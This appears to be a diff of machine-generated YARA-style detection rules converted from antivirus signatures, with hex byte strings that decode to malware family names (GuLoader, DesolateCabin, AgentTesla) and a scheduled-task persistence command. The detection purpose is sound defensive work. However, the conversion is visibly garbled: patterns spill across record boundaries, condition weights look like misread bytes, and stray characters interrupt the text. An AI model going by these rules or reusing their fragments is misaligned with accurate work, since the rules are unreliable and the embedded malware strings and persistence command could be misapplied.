64 45 78 } //25711 - $a_74_7 = {6f 6e 4c 65 76 65 6c 01 00 0f 01 47 65 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 57 01 00 06 01 61 74 74 61 63 68 01 00 08 00 32 a2 df 2d 99 2b 00 00 01 00 2b 02 48 c7 c1 78 56 34 12 48 ff c9 4d 33 c9 48 8b c1 75 f5 48 33 c0 48 8b c3 48 03 c2 90 01 03 49 ff ca 4d 33 db 75 da 48 33 c0 90 00 01 00 0c 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 00 78 d6 00 00 } //25445 + $a_75_2 = {69 74 52 75 6c 65 00 00 78 d6 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 41 21 4d 54 42 00 01 00 0c 81 01 47 6e 69 65 72 } //29795 + $a_2e_3 = {70 67 01 00 12 81 01 4b 6c 61 76 65 72 6d 75 73 69 6b 6b 65 6e 2e 74 78 74 01 00 11 81 01 4c 73 65 70 72 6f 63 65 73 73 65 6e 73 2e 79 62 6c 01 00 16 81 01 61 66 6c 79 74 6e 69 6e 67 73 62 61 61 6e 64 65 6e 65 2e 74 78 74 01 00 0c 81 01 61 6e 6f 6d 75 72 61 6e 2e 62 6f 72 01 00 0f 81 01 64 69 73 75 6e 69 6f 6e 69 73 74 2e 6a 70 67 01 00 0e 81 } //28261 + $a_6c_4 = {6d 69 6c 6a 65 74 2e 74 78 74 01 00 13 81 01 70 61 6c 65 6f 67 65 6f 67 72 61 70 68 69 63 2e 6d 65 64 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 4f 52 41 54 31 2e 41 21 69 62 74 00 01 00 0d 80 01 68 74 74 70 43 6f 6d 6d 73 2e 64 6c 6c 01 00 0f 80 01 43 6f 6f 6b } //26113 + $a_20_5 = {49 44 31 3d 25 73 01 00 07 80 01 47 6c 6f 62 61 6c 5c 01 00 0a 80 01 73 74 61 67 65 30 2e 64 6c 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 07 80 01 67 65 74 44 61 } //25961 + $a_00_6 = {0a } //24948 + $a_6e_7 = {74 69 61 6c 69 7a 65 01 00 11 80 01 57 69 6e 64 6f 77 73 20 4e 54 20 25 64 2e 25 64 3b 01 00 28 80 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 52 75 6e 73 68 65 } //384 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29251+(#a_75_2 & 1)*29795+(#a_01_3 & 1)*27748+(#a_00_4 & 1)*15204+(#a_54_5 & 1)*384+(#a_2e_6 & 1)*25711+(#a_74_7 & 1)*25445) >=8 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29251+(#a_75_2 & 1)*29795+(#a_2e_3 & 1)*28261+(#a_6c_4 & 1)*26113+(#a_20_5 & 1)*25961+(#a_00_6 & 1)*24948+(#a_6e_7 & 1)*384) >=8 } -rule _InfrastructureShared_14444{ +rule _InfrastructureShared_15392{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 41 21 4d 54 42 00 01 00 0c 81 01 47 6e 69 65 72 65 6e 73 2e 6a 70 67 01 00 12 81 01 4b 6c 61 76 65 72 6d 75 73 69 6b 6b 65 6e 2e 74 78 74 01 00 11 81 01 4c 73 65 70 72 6f 63 } //18467 + $a_65_1 = {73 2e 79 62 6c 01 00 16 81 01 61 66 6c 79 74 6e 69 6e 67 73 62 61 61 6e 64 65 6e 65 2e 74 78 74 01 00 0c 81 01 61 6e 6f 6d 75 72 61 6e 2e 62 6f 72 01 00 0f 81 01 64 69 73 75 6e 69 6f 6e 69 73 74 2e 6a 70 67 01 00 0e 81 01 66 69 6c 6d 6d 69 6c 6a 65 74 2e 74 78 74 01 00 13 81 01 70 61 6c 65 6f 67 65 6f 67 72 61 70 68 69 63 2e 6d 65 64 00 00 78 } //29541 + $a_41_4 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 4f 52 41 54 31 2e 41 21 69 62 74 00 01 00 0d 80 01 68 74 } //8448 + $a_6f_5 = {6d 73 2e 64 6c 6c 01 00 0f 80 01 43 6f 6f 6b 69 65 3a 20 53 49 44 31 3d 25 73 01 00 07 80 01 47 6c 6f 62 61 6c 5c 01 00 0a 80 01 73 74 61 67 65 30 2e 64 6c 6c 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e } //28788 + $a_65_7 = {44 61 74 61 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 11 80 01 57 69 6e 64 6f 77 73 20 4e 54 20 25 64 2e 25 64 3b 01 00 28 80 01 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 00 00 78 d6 00 00 09 00 09 00 09 00 21 23 48 53 54 } //384 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29541+(#a_41_4 & 1)*8448+(#a_6f_5 & 1)*28788+(#a_65_7 & 1)*384) >=8 + +} +rule _InfrastructureShared_15393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -165326,7 +176395,7 @@ rule _InfrastructureShared_14444{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_d6_7 & 1)*0+(#a_4c_8 & 1)*28257) >=9 } -rule _InfrastructureShared_14445{ +rule _InfrastructureShared_15394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -165342,7 +176411,7 @@ rule _InfrastructureShared_14445{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25976+(#a_72_2 & 1)*22016+(#a_20_4 & 1)*1540+(#a_00_6 & 1)*0+(#a_6a_7 & 1)*29268+(#a_00_8 & 1)*9738) >=9 } -rule _InfrastructureShared_14446{ +rule _InfrastructureShared_15395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 21 " @@ -165353,7 +176422,7 @@ rule _InfrastructureShared_14446{ ((#a_46_0 & 1)*16675+(#a_7e_1 & 1)*0) >=10 } -rule _InfrastructureShared_14447{ +rule _InfrastructureShared_15396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -165365,7 +176434,7 @@ rule _InfrastructureShared_14447{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*7936+(#a_01_3 & 1)*-28558) >=11 } -rule _InfrastructureShared_14448{ +rule _InfrastructureShared_15397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 06 00 03 00 21 " @@ -165377,7 +176446,7 @@ rule _InfrastructureShared_14448{ ((#a_4c_0 & 1)*21539+(#a_45_1 & 1)*28593+(#a_6b_2 & 1)*25975) >=6 } -rule _InfrastructureShared_14449{ +rule _InfrastructureShared_15398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0e 00 06 00 21 " @@ -165391,7 +176460,7 @@ rule _InfrastructureShared_14449{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*11892+(#a_75_2 & 1)*25939+(#a_6e_3 & 1)*29285+(#a_90_4 & 1)*332) >=14 } -rule _InfrastructureShared_14450{ +rule _InfrastructureShared_15399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0a 00 21 " @@ -165406,7 +176475,7 @@ rule _InfrastructureShared_14450{ ((#a_4c_0 & 1)*21539+(#a_69_2 & 1)*17153+(#a_00_5 & 1)*9646+(#a_00_7 & 1)*0+(#a_6e_8 & 1)*26433+(#a_72_9 & 1)*5888) >=15 } -rule _InfrastructureShared_14451{ +rule _InfrastructureShared_15400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -165422,7 +176491,7 @@ rule _InfrastructureShared_14451{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24415+(#a_65_2 & 1)*30565+(#a_01_3 & 1)*28423+(#a_6e_4 & 1)*28271+(#a_34_5 & 1)*17734+(#a_00_6 & 1)*13640) >=16 } -rule _InfrastructureShared_14452{ +rule _InfrastructureShared_15401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -165436,7 +176505,7 @@ rule _InfrastructureShared_14452{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*4868+(#a_07_2 & 1)*1811+(#a_00_3 & 1)*-19919+(#a_45_4 & 1)*16705) >=18 } -rule _InfrastructureShared_14453{ +rule _InfrastructureShared_15402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 06 00 21 " @@ -165446,26 +176515,39 @@ rule _InfrastructureShared_14453{ $a_2e_2 = {68 61 72 70 53 73 68 2e 6a 73 63 68 2e 6a 63 65 2e 44 48 01 00 0d 80 01 53 74 61 72 43 72 61 66 74 2e 69 73 6f 01 00 0c 80 01 42 72 6f 6f 64 57 61 72 2e 69 73 6f 00 00 78 d6 00 00 14 00 14 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4f 52 21 4d 54 42 00 0a 00 37 02 25 17 17 8d 90 } //26989 $a_16_3 = {8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 a2 a2 28 90 01 04 26 20 00 08 00 } //1025 $a_00_4 = {06 2a 90 00 02 00 12 80 01 46 6f 72 6d 61 74 74 65 72 54 79 70 65 53 74 79 6c 65 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 } //2560 - $a_6e_5 = {02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 0e 80 01 73 79 73 74 65 6d 2e 63 6f 6e 76 65 72 74 00 00 78 d6 00 00 20 00 20 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 61 7a 69 6f 6d 65 6c } //29300 + $a_6e_5 = {02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 0e 80 01 73 79 73 74 65 6d 2e 63 6f 6e 76 65 72 74 00 00 78 d6 00 00 1a 00 1a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 48 21 4d } //29300 condition: ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*14408+(#a_2e_2 & 1)*26989+(#a_16_3 & 1)*1025+(#a_00_4 & 1)*2560+(#a_6e_5 & 1)*29300) >=19 } -rule _InfrastructureShared_14454{ +rule _InfrastructureShared_15403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 4f 52 21 4d 54 42 00 0a 00 37 02 25 17 17 8d 90 01 04 25 16 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 a2 a2 28 90 01 04 26 20 00 08 } //18467 $a_2b_1 = {06 2a 90 00 02 00 12 80 01 46 } //0 - $a_61_2 = {74 65 72 54 79 70 65 53 74 79 6c 65 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 0e 80 01 73 79 73 74 65 6d 2e 63 6f 6e 76 65 72 74 00 00 78 d6 00 00 20 00 20 00 05 00 } //29295 - $a_53_3 = {52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 61 7a 69 6f 6d 65 6c 5f 62 69 74 63 6f 69 6e 00 0a 00 25 01 3e 3e 3e 49 44 3a 20 42 69 74 46 4f 52 43 45 20 53 48 41 32 35 36 20 56 65 72 73 69 6f 6e 20 31 2e 30 3e } //8993 - $a_00_4 = {09 01 58 2d 53 74 72 61 74 75 } //15934 ĉⵘ瑓慲畴 + $a_61_2 = {74 65 72 54 79 70 65 53 74 79 6c 65 02 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 02 00 13 80 01 57 53 54 52 42 75 66 66 65 72 4d 61 72 73 68 61 6c 65 72 02 00 10 80 01 45 71 75 61 6c 69 74 79 43 6f 6d 70 61 72 65 72 02 00 0e 80 01 73 79 73 74 65 6d 2e 63 6f 6e 76 65 72 74 00 00 78 d6 00 00 1a 00 1a 00 03 00 } //29295 + $a_45_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 48 21 4d 54 42 00 14 00 59 03 0f b6 44 24 21 83 e0 0f c1 e0 04 0f b6 4c 24 20 c1 f9 02 0b c1 88 44 24 32 48 8d 54 24 32 48 8d 4c 24 70 e8 90 01 04 90 90 0f b6 44 24 22 3d ff 00 00 00 74 90 } //8993 + $a_b6_4 = {24 20 83 e0 03 c1 e0 06 0f b6 4c 24 22 0b c1 } //257 + $a_33_5 = {8d 54 24 33 48 8d 4c 24 70 90 00 05 00 37 03 0f b6 c0 85 c0 74 0e 48 8d 8c 24 90 01 01 03 00 00 e8 90 01 04 } //17544 condition: - ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*0+(#a_61_2 & 1)*29295+(#a_53_3 & 1)*8993+(#a_00_4 & 1)*15934) >=20 + ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*0+(#a_61_2 & 1)*29295+(#a_45_3 & 1)*8993+(#a_b6_4 & 1)*257+(#a_33_5 & 1)*17544) >=20 } -rule _InfrastructureShared_14455{ +rule _InfrastructureShared_15404{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 48 21 4d 54 42 00 14 00 59 03 0f b6 44 24 21 83 e0 0f c1 e0 04 0f b6 4c 24 20 c1 f9 02 0b c1 88 44 24 32 48 8d 54 24 32 48 8d 4c 24 70 e8 90 01 04 } //21539 + $a_b6_1 = {24 22 3d ff 00 00 00 74 90 01 01 0f b6 44 24 } //-28528 + $a_03_2 = {c1 e0 06 0f b6 4c 24 22 0b c1 88 44 24 33 48 8d 54 24 33 48 8d 4c 24 70 90 00 05 00 37 03 0f b6 c0 85 c0 74 0e 48 8d 8c 24 90 01 01 03 00 00 e8 90 01 04 90 90 48 8d 8c 24 90 01 09 c7 44 24 20 01 00 00 00 41 b9 40 00 00 00 41 b8 02 00 00 00 48 8b d0 90 00 01 00 11 81 01 5c 42 6c 75 65 4c 69 6e 65 5f 52 61 6e 2e 74 78 74 00 00 78 d6 00 00 20 00 20 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 61 7a 69 6f 6d 65 6c 5f 62 69 74 63 6f 69 6e 00 0a 00 25 01 3e 3e 3e 49 44 3a 20 42 69 74 46 4f 52 43 45 20 53 48 41 32 35 36 20 56 65 72 73 69 6f 6e 20 31 2e 30 3e 3e 3e 0a 00 09 01 58 2d 53 74 72 61 74 75 6d 0a 00 30 01 31 30 66 61 35 39 37 62 33 } //-31968 + condition: + ((#a_4c_0 & 1)*21539+(#a_b6_1 & 1)*-28528+(#a_03_2 & 1)*-31968) >=26 + +} +rule _InfrastructureShared_15405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 05 00 21 " @@ -165479,7 +176561,7 @@ rule _InfrastructureShared_14455{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*30068+(#a_64_2 & 1)*25968+(#a_00_3 & 1)*19532+(#a_97_4 & 1)*-29437) >=32 } -rule _InfrastructureShared_14456{ +rule _InfrastructureShared_15406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 1f 00 05 00 21 " @@ -165492,7 +176574,7 @@ rule _InfrastructureShared_14456{ ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*25959+(#a_df_2 & 1)*-11461+(#a_00_4 & 1)*97) >=31 } -rule _InfrastructureShared_14457{ +rule _InfrastructureShared_15407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -165502,7 +176584,7 @@ rule _InfrastructureShared_14457{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14458{ +rule _InfrastructureShared_15408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -165512,7 +176594,7 @@ rule _InfrastructureShared_14458{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14459{ +rule _InfrastructureShared_15409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -165524,7 +176606,7 @@ rule _InfrastructureShared_14459{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*12090+(#a_2f_2 & 1)*28787) >=1 } -rule _InfrastructureShared_14460{ +rule _InfrastructureShared_15410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -165537,7 +176619,7 @@ rule _InfrastructureShared_14460{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*14388+(#a_34_2 & 1)*384+(#a_37_3 & 1)*11572) >=1 } -rule _InfrastructureShared_14461{ +rule _InfrastructureShared_15411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -165550,7 +176632,7 @@ rule _InfrastructureShared_14461{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*14179+(#a_63_2 & 1)*384+(#a_62_3 & 1)*25913) >=1 } -rule _InfrastructureShared_14462{ +rule _InfrastructureShared_15412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -165564,7 +176646,7 @@ rule _InfrastructureShared_14462{ ((#a_54_0 & 1)*18467+(#a_59_1 & 1)*4615+(#a_09_2 & 1)*2060+(#a_06_3 & 1)*24902+(#a_90_4 & 1)*1024) >=1 } -rule _InfrastructureShared_14463{ +rule _InfrastructureShared_15413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -165577,7 +176659,7 @@ rule _InfrastructureShared_14463{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_24_2 & 1)*259+(#a_c3_4 & 1)*7169) >=1 } -rule _InfrastructureShared_14464{ +rule _InfrastructureShared_15414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -165588,7 +176670,20 @@ rule _InfrastructureShared_14464{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*2067) >=2 } -rule _InfrastructureShared_14465{ +rule _InfrastructureShared_15415{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 44 65 73 6f 6c 61 74 65 43 61 62 69 6e 2e 41 21 64 68 61 00 01 00 45 81 01 73 63 68 74 61 73 6b 73 2e 65 78 65 20 2f 43 72 65 61 74 65 20 2f 54 4e 20 22 25 68 73 22 20 2f 54 52 20 22 } //16675 + $a_73_1 = {22 20 2d 72 75 6e 22 20 2f 53 43 20 4d 49 4e 55 54 45 20 2f 4d 4f 20 35 20 2f 46 20 01 00 26 01 6e 65 77 45 78 } //8796 + $a_74_2 = {57 00 6e 65 77 45 78 65 50 61 74 68 00 63 75 72 72 65 6e 74 45 78 65 50 61 74 68 00 01 00 16 42 80 3f 17 75 90 01 01 80 7f 01 03 75 90 01 01 80 7f 02 03 75 90 00 01 00 14 40 8d 46 05 66 c7 06 17 03 50 c6 46 02 03 88 4e 03 88 5e 04 e8 00 00 78 d7 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 54 } //20581 + $a_61_3 = {43 6c 69 63 6b 65 72 3a 4e 69 67 68 74 43 6c 69 63 6b 2e 42 00 01 00 1e 01 70 00 61 00 72 00 74 00 6e 00 65 00 72 00 69 00 64 00 32 00 3d 00 25 00 64 00 25 00 64 00 01 00 0e 01 75 00 69 00 64 00 3d 00 75 00 69 00 64 00 01 00 3a 01 63 00 6c 00 69 00 63 00 6b 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6f 00 72 00 64 00 20 } //28530 + condition: + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*8796+(#a_74_2 & 1)*20581+(#a_61_3 & 1)*28530) >=2 + +} +rule _InfrastructureShared_15416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -165599,7 +176694,7 @@ rule _InfrastructureShared_14465{ ((#a_46_0 & 1)*16675+(#a_63_2 & 1)*14848) >=2 } -rule _InfrastructureShared_14466{ +rule _InfrastructureShared_15417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -165611,7 +176706,7 @@ rule _InfrastructureShared_14466{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*116+(#a_3a_2 & 1)*21587) >=2 } -rule _InfrastructureShared_14467{ +rule _InfrastructureShared_15418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -165626,7 +176721,7 @@ rule _InfrastructureShared_14467{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*17863+(#a_6f_2 & 1)*25970+(#a_76_3 & 1)*491+(#a_30_4 & 1)*11585+(#a_46_5 & 1)*16675) >=2 } -rule _InfrastructureShared_14468{ +rule _InfrastructureShared_15419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -165638,7 +176733,7 @@ rule _InfrastructureShared_14468{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26989+(#a_90_2 & 1)*29952) >=3 } -rule _InfrastructureShared_14469{ +rule _InfrastructureShared_15420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -165650,7 +176745,7 @@ rule _InfrastructureShared_14469{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*31277+(#a_69_2 & 1)*28524) >=3 } -rule _InfrastructureShared_14470{ +rule _InfrastructureShared_15421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -165661,7 +176756,7 @@ rule _InfrastructureShared_14470{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11617) >=3 } -rule _InfrastructureShared_14471{ +rule _InfrastructureShared_15422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -165672,7 +176767,7 @@ rule _InfrastructureShared_14471{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28271) >=3 } -rule _InfrastructureShared_14472{ +rule _InfrastructureShared_15423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -165684,7 +176779,7 @@ rule _InfrastructureShared_14472{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*75+(#a_00_2 & 1)*116) >=3 } -rule _InfrastructureShared_14473{ +rule _InfrastructureShared_15424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -165695,7 +176790,7 @@ rule _InfrastructureShared_14473{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*6656) >=3 } -rule _InfrastructureShared_14474{ +rule _InfrastructureShared_15425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 11 00 21 " @@ -165719,7 +176814,7 @@ rule _InfrastructureShared_14474{ ((#a_54_0 & 1)*18467+(#a_90_2 & 1)*-255+(#a_a4_3 & 1)*-28578+(#a_a0_4 & 1)*-30460+(#a_4a_5 & 1)*11892+(#a_c6_6 & 1)*257+(#a_67_7 & 1)*29264+(#a_00_8 & 1)*108+(#a_2e_9 & 1)*25957+(#a_00_11 & 1)*111+(#a_00_12 & 1)*21581+(#a_2d_13 & 1)*-502+(#a_45_14 & 1)*17719+(#a_01_15 & 1)*25961+(#a_3d_16 & 1)*15677) >=3 } -rule _InfrastructureShared_14475{ +rule _InfrastructureShared_15426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -165730,7 +176825,7 @@ rule _InfrastructureShared_14475{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28566) >=4 } -rule _InfrastructureShared_14476{ +rule _InfrastructureShared_15427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -165741,7 +176836,7 @@ rule _InfrastructureShared_14476{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*1) >=4 } -rule _InfrastructureShared_14477{ +rule _InfrastructureShared_15428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -165754,7 +176849,7 @@ rule _InfrastructureShared_14477{ ((#a_77_0 & 1)*27683+(#a_01_1 & 1)*1+(#a_d7_2 & 1)*0+(#a_00_3 & 1)*92) >=4 } -rule _InfrastructureShared_14478{ +rule _InfrastructureShared_15429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -165766,7 +176861,7 @@ rule _InfrastructureShared_14478{ ((#a_4c_0 & 1)*21539+(#a_5f_1 & 1)*656+(#a_00_3 & 1)*107) >=5 } -rule _InfrastructureShared_14479{ +rule _InfrastructureShared_15430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165780,7 +176875,7 @@ rule _InfrastructureShared_14479{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*24095+(#a_36_2 & 1)*29537+(#a_3d_3 & 1)*15677+(#a_79_4 & 1)*8292) >=5 } -rule _InfrastructureShared_14480{ +rule _InfrastructureShared_15431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165789,12 +176884,12 @@ rule _InfrastructureShared_14480{ $a_72_1 = {3a 25 64 20 62 79 74 65 73 01 00 28 01 43 6c 69 65 6e 74 20 3c 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 43 6f 6e 74 72 6f 6c 6c 65 72 20 3a 25 64 20 62 79 74 65 73 01 00 16 01 4c 69 73 74 65 6e 20 70 6f 72 74 3a 25 64 20 73 75 63 63 65 73 73 01 00 25 01 43 65 72 74 45 6e 75 6d 43 65 72 74 69 66 69 63 61 74 } //27756 $a_6e_2 = {74 6f 72 65 20 66 61 69 6c 65 64 3a 25 64 00 00 78 d7 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 32 31 30 33 32 34 21 4d 54 42 00 01 00 37 01 } //29541 $a_f1_3 = {89 3e 67 34 ec b2 d1 91 52 8d f4 aa 83 66 9e a6 fb bd 6a 10 52 10 ab 13 65 a1 b0 45 23 ce ec c2 87 54 ad 5d ac 4c 67 10 fc 9c 98 6e 11 11 57 ce ce 66 01 00 10 00 59 00 77 00 6a 00 67 00 72 00 72 00 63 00 63 00 01 00 25 01 24 65 39 35 64 39 63 66 63 2d 30 64 32 38 2d 34 66 36 62 2d 39 31 64 35 2d 30 36 36 33 35 63 39 65 30 32 64 38 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 } //-2287 - $a_65_4 = {62 6c 79 01 00 10 01 55 64 70 52 65 63 65 69 76 65 52 65 73 75 6c 74 00 00 78 d7 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 